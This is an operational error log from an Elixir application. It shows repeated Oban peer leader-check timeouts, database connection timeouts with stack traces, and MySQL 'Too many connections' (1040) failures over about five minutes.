[Sat Sep  5 21:43:59.622000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:43:59.988000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:44:04.989000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:44:05.077000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:44:09.537000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:44:09.538000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:44:11.769000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:44:15.696000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:44:27.198000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:44:44.574000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:44:49.575000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:44:52.064000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:44:54.053000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:44:54.057000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:44:55.699000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:44:57.372000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:44:59.526000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:45:02.866000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:45:06.280000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:45:12.455000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:45:13.609000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:45:29.089000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:45:34.090000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:45:34.627000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:45:37.272000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:45:38.210000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:45:38.212000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:45:40.188000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:45:44.115000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:45:54.400000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:45:58.580000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:46:10.058000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:46:13.243000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:46:18.244000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:46:18.249000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:46:23.183000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:46:23.185000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1096.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 21:46:25.587000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:46:31.290000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:46:33.530000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:46:37.977000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:46:46.176000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:46:52.951000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:46:57.216000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:47:02.217000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:47:05.082000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:47:06.234000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:47:06.235000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:47:07.699000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:47:09.732000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:47:10.398000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:47:16.195000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:47:18.220000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:47:19.991000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:47:37.053000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:47:37.218000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:47:41.236000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:47:41.265000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:47:46.267000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:47:50.789000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:47:50.790000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:47:52.310000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:47:56.111000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:48:04.752000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:48:05.954000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:48:24.823000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:48:27.863000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:48:29.824000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:48:30.546000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:48:34.599000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:48:34.600000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:48:36.328000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:48:41.399000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:48:43.840000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:48:55.711000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:48:56.050000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
